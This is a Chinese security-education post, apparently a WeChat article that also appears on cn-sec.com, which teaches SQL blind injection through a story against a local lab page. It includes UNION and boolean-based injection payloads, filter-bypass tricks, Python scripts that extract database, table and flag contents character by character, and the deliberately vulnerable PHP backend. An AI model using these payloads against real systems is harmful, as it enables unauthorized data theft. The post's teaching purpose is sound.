【表哥有话说 第78期】SQL盲注

admin 2022年8月1日00:39:45评论15 views字数 7608阅读25分21秒阅读模式
【表哥有话说 第78期】SQL盲注

SQL

盲入


                

                激动ing!!!!【表哥有话说 第78期】SQL盲注

      这周表哥们又带着新知识走来啦

                【表哥有话说 第78期】SQL盲注

           本期要分享的是SQL盲注

                  向下划👇👇

         赶紧来揭开它神秘的面纱吧


0x00情景引入


     

     大多数网络漏洞存在的原因,是web应用程序没有对用户的输入进行足够的安全校验,使得不法分子通过精心构造的payload伪装成正常用户数据发送到web应用程序,web应用程序执行的意料之外的程序 导致了意料之外的结果


      sql注入也是符合这种特征的漏洞,不法分子通过精心构造的sql语句伪装成正常的数据,然后web应用程序会将不法分子的sql语句拼接到后台sql语句中,并将拼接好的sql语句发送到mysql服务中执行,导致执行了不法分子意料之外的语句 产生了意想不到的结果


      举一个简单的例子


1//假设此时有php后台 定义了这么一段话 要将用户输入的内容拼接到$sql后面 再把$sql内容发送到服务器进行执行
2$sql="select username from user where id=".$user_input;
3
4//在这里善良的程序猿希望用户输入一个数字来代表用户的id 就好像输入一个 1 一样 这样sql语句就会变成
5$sql="select username from user where id=1"
6//意思就是查询user表里面id是1的用户的名字(username)
7
8//可是有一些邪恶的hacker伪装成善良的用户搞破坏 他输入了一个 -1 union select passwd from user where id=2 这样sql语句就变成了
9$sql="select username from user where id=-1 union select passwd from user where id=2"


下面我们康康邪恶的sql语句会执行出什么结果


首先是人畜无害的sql语句 

select username from user where id=1


【表哥有话说 第78期】SQL盲注


看的出来 善良的用户只是想知道他叫什么名字(username)

现在他知道了他叫孙笑川

其次是邪恶的sql语句 

select username from user where id=-1 union select passwd from user where id=1


【表哥有话说 第78期】SQL盲注


太可恶了 邪恶的hacker居然知道了孙笑川同志的密码 想窥探小孙的隐私 这件事的性质实在是太恶劣了 身为正义善良的程序猿决不允许这种事情的发生 于是善良的程序猿在网上学习了sql注入 


了解到hacker用心是多么的险恶 程序猿决定用自己学到的知识来抵抗这种邪恶的行为 通过学习 善良的程序猿得知hacker屡屡得手的原因是因为自己没有校验过用户的输入而选择了盲目相信


善良的程序猿决定用php正则匹配来检查hacker的sql语句中是不是含有邪恶的语句 于是他使用了如下方法


1if(preg_match('/%|&|||'|\|!|/|@|;|~|and|or|union|join|order|by|into|hex|limit|information|conv|lower|inster|delete|update|replace|reverse/i',$a)){
2        echo("hacker!!!!!");
3    }


善良的程序猿心里想 我过滤了这么多语句 应该就能保证安全了吧 可是hacker突然发现原来的注入语句没有办法拿到孙笑川的密码 再也不能窥探小孙的隐私了 于是恼羞成怒 发誓一定要绕过程序猿的检测 要将小孙的隐私一窥到底 于是在下面的网站疯狂学习


1https://k1te.cn/2021/05/19/no-column-sql-injection/
2其中的比较盲注
3https://www.k0rz3n.com/2017/11/21/mysqltrick/#%E7%AD%89%E4%BA%8E%E5%8F%B7%E8%BF%87%E6%BB%A4%E4%BD%BF%E7%94%A8like-%E6%88%96%E8%80%85-in-%E7%BB%95%E8%BF%87
4实用的sql绕过技巧
5https://yang1k.github.io/post/sql%E6%B3%A8%E5%85%A5%E7%BB%95%E8%BF%87%E5%8E%9F%E7%90%86%E6%80%BB%E7%BB%93/#%E7%BB%95%E8%BF%87%E5%AF%B9%E9%80%97%E5%8F%B7-%E7%9A%84%E8%BF%87%E6%BB%A4


(刚才是剧情需要 下面基本介绍一下sql盲注)


0x01sql盲注

sql盲注是在sql注入的基础上 本质上还是执行非法的sql语句 但使用sql盲注多是因为回显不同而定义 不像上面的拼合出 select username from user where id=-1 union select passwd from user where id=2 直接就能返回username一样返回出密码 而是只能确定其中几个返回值 如果返回值只有两个TRUE FALSE 那么我们就只能通过执行一定程度上结果确定的sql语句来判断


1例如
2
3if((ascii(substr((select database()),1,1))=120),2,3)
4select substr(database() from 1 for 1);
5if语句的作用类似于c语言的三元运算符 ?: 对于if(表达式1,表达式2,表达式3) 如果表达式1成立 结果为真 则执行表达式2 否则执行表达式3 这里的意思是 (ascii(substr((select database()),1,1))=120) 如果正确的话就返回2 不正确就返回3
6
7ascii函数是将对应的字符串转换为ascii码
8
9substr是截取一段字符串其中的部分 substr(str,1,1) 就是截取str字符串 从第一个开始截取一位


那么这样的语句就比较容易理解 如果我们的比较成真 那么就返回2 假就返回3 这样我们就可以不断改变ascii码值为120的字符 直到有一个能匹配到 返回结果2 然后开始比较第二个字符 (ascii(substr((select database()),2,1))=120)


如此繁杂而又艰巨的任务 当然要用python脚本来做 通过不断对返回的结果进行判断找出对应的正确字符 直到找到整个字符串 其本质就是为了返回结果的局限而采取的应对方法 这里附上一个详细的文章 https://www.anquanke.com/post/id/266244


书接上回 hacker为了小孙 疯狂学习sql注入之后 终于找到应对程序猿的办法


hacker发现程序猿过滤的语句实在是太多了 在想要放弃的时候 突然想到许多大佬都会用burpsuit把sql注入常用的语句筛选一遍 找到没有过滤的进行使用 于是hacker打开burpsuit 选择攻击器 将资源池设置成了常用的sql语句 然后经过短暂而又漫长的等待 hacker居然发现if语句竟然没有过滤 hacker想到许多盲注都是通过if语句进行判断的 觉得if语句配合自己刚学的盲注简直天衣无缝 于是立刻开始绕过程序猿的正则


hacker心想先试试能不能拿到数据库的名字 于是精心构造了一个语句


1select username from user where id=if((ascii(substr((select database()),1,1))=120),2,3)


这样的话 只需要不断更换120这个位置所对应的字符的ascii码就能知道数据库名称第一个字符是什么了 接下来判断第二个 第三个... 只要坚持不懈就可以判断完了


于是hacker说干就干 然而第一个还没有判断完 hacker就不想干了 很累很无聊 连小孙的隐私也不能吸引他的 于是hacker必须寻找一个能自动干活的东西--python脚本


 1import requests
2
3str1=""
4dic=',_}-{abcdefghijklmnopqrstuvwxyz0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ'
5url="http://localhost/youyou.php?id="
6result=""
7for j in range(1,100):
8    tag=0
9    for i in dic:
10        str1="if((ascii(substr((select database()),"+str(j)+",1))="+str(ord(i))+"),2,3)"
11        r=requests.get(url+str1)
12        if '日本天皇' in r.text:
13            result+=i
14            print(result)
15            tag=1
16            break
17    if tag==0:
18        print('!!!!!!!!!!')


hacker尝试运行了一下自己努力的结晶 得到如下结果


【表哥有话说 第78期】SQL盲注


hacker喜出望外 现在已经知道数据库名字叫 xiaosun 只要在用这样的方法查表 查列名 进而查数据 这样就能拿到小孙的隐私了


hacker从网上查询到了sql注入查表要用到 information_schema 表 然而hacker居然发现可恶的程序猿把information过滤了 hacker十分生气 从网上拼命的找绕过bypass information的方法 终于 hacker点进了一个奇怪的网站 https://k1te.cn/2021/05/19/no-column-sql-injection/ 无列名注入小结 (就是上面的那个) 发现sys.schema_auto_increment_columns sys.schema_table_statistics_with_buffer  mysql.innodb_table_stats等等都可以代替information_schema拿到表名 然而缺点就是拿不到列名 hacker觉得能拿到一点是一点 于是毫不犹豫的使用了


1str1="if((ascii(substr((select group_concat(table_name) from sys.schema_table_statistics_with_buffer where table_schema=(select database())),"+str(j)+",1))="+str(ord(i))+"),2,3)"
2还是上面的脚本 只是替换了其中一句


【表哥有话说 第78期】SQL盲注


hacker大喜过望 小孙的隐私如今又摆在我的面前 距我仅有一步之遥 可是小孙无法拿到列名 不知道表的结构是什么 这该怎么办呢 hacker太累了 带着这个疑问昏睡了过去 在梦里 恶魔告诉他 flag表只有一行数据 一行 一行.......(其实就是提示 因为这里limit被禁用了 如果没有limit 也就无所谓这个提示了)


hacker猛然惊醒 一行 虽然仍然不知道列名 但这不就是表的结构吗 hacker又打开神秘网站 里面的字符充满了诱惑 hacker漫不经心的看着 突然"比较盲注"四个字一下子就戳中了hacker的心巴(其他的几个方法的语句都被过滤了) 这正是hacker要找的东西 如果只有一行 那hacker就能判断它有几列


1if((select 1,0,0)>(select * from flalalalag),2,3)
2hacker发现这样会报错
3if((select 1,0)>(select * from flalalalag),2,3)
4而这样则会返回3所对应的username 这种情况判断为假


这说明这个表只有只有两列数据 一行两列 表的结构显而易见


hacker想要知道第一行第一个的内容是什么 于是使用了下面的sql语句


1if((select 2,0)>(select * from flalalalag),2,3)
2判断为真 hacker觉得这一列应该是id 第一行id1 这没什么可说的 于是hacker准备利用python脚本拿到第二个数据 完全窥探小孙的隐私
3在mysql里 如果有这样的语句 select (select "f1")>(select "f") 不管f后面是任何字符都会判断为真 在这里如果仍然对第一个数据进行查找1以后的数据 会发现不管查找什么都是真


然后 hacker费尽九牛二虎之力写下了下面的代码


 1import requests
2
3str1=""
4dic='123456789:BCDEFGHIJKLMNOPQRSTUVWXYZ[`bcdefghijklmnopqrstuvwxyz{|~'
5url="http://localhost/youyou.php?id="
6result=""
7for j in range(1,100):
8    tag=0
9    for i in dic:
10        str1="if(((select 1,""+result+""+i+"")>(select * from flalalalag)),2,3)"
11        r=requests.get(url+str1)
12        if '日本天皇' in r.text:
13            result=result+(chr(ord(i)-1))
14            print(result)
15            tag=1
16            break
17    if tag==0:
18        print('!!!!!!!!!!')


终于 在hacker的努力之下 拿到了下面的数据


【表哥有话说 第78期】SQL盲注


1这里能查到的都是大写 mysql比较的时候会把大写小写视作一样的 也就是 select (select "F")=(select "f") 结果最终是1 这道题flag实际上是小写 虽然到最后提交的时候没有影响 但还是建议原模原样的拿到数据 在mysql中 这里可以在字符串前面加上binary把它转换为二进制字符串在进行比较 比较双方有一个添加这个字段就可以
2str1="if(((select 1,binary ""+result+""+i+"")>(select * from flalalalag)),2,3)"


小孙的隐私被窥探了 善良的程序猿失败了 邪恶的hacker最终成功了 邪恶终究是打败了善良 小孙的隐私呈现在世人面前 故事到这里就结束了

附上后台


 1<!DOCTYPE html>
2<html>
3    <head>
4        <title>天皇孙笑川</title>
5        <meta charset="utf-8">
6    </head>
7
8    <body>
9        <!-- if(preg_match('/%|&|'|\|!|/|@|;|and|or|union|join|order|by|into|hex|limit|information|conv|lower|inster|delete|update|replace|reverse/i',$a)){
10            echo("hacker!!!!!");
11        } -->
12        <img src="./img/xiaochuan.jpeg">
13        <form name="input" action="youyou.php" method="get">
14            <input type="text" name="id">
15            <input type="submit" value="交给小孙">
16        </form>
17        <a href="http://c.tieba.baidu.com/f?ie=utf-8&kw=%E5%AD%99%E7%AC%91%E5%B7%9D" target="_blank">友情链接</a>
18        <br>
19    </body>
20</html>
21
22<?php
23if(isset($_GET['id'])){
24    $a=$_GET['id'];
25    if(preg_match('/%|&|'|\|!|/|@|;|and|or|union|join|order|by|into|hex|limit|information|conv|lower|inster|delete|update|replace|reverse/i',$a)){
26        echo("hacker!!!!!");
27    }
28    else{
29        $servername = "localhost";
30        $username = "root";
31        $password = "666666";
32        $dbName = "xiaosun";
33        $conn = new mysqli($servername, $username, $password,$dbName);
34        $sql="select username from user where id=".$a;
35        $res=$conn->query($sql);
36        if($res==NULL){
37            echo "<h3>your sql has err</h3>";
38        }else{
39            $data=$res->fetch_all();
40            echo "<h3>".$data[0][0]."</h3>";
41        }
42    }
43}
44?>



            在故事的最后

          小孙的秘密终于

       被邪恶的hacker窥探了

                  【表哥有话说 第78期】SQL盲注

        大家是不是对sql盲注

         又有了新的理解呢?

    那就赶紧利用新学的知识

    看看能不能像hacker一样

     成功拿到小孙的数据呢?


   长按下方的二维码关注我们

              【表哥有话说 第78期】SQL盲注

         下期表哥们的干货

            已经在等你了


【表哥有话说 第78期】SQL盲注



原文始发于微信公众号(SKSEC):【表哥有话说 第78期】SQL盲注

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2022年8月1日00:39:45
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   【表哥有话说 第78期】SQL盲注http://cn-sec.com/archives/1212733.html

发表评论

匿名网友 填写信息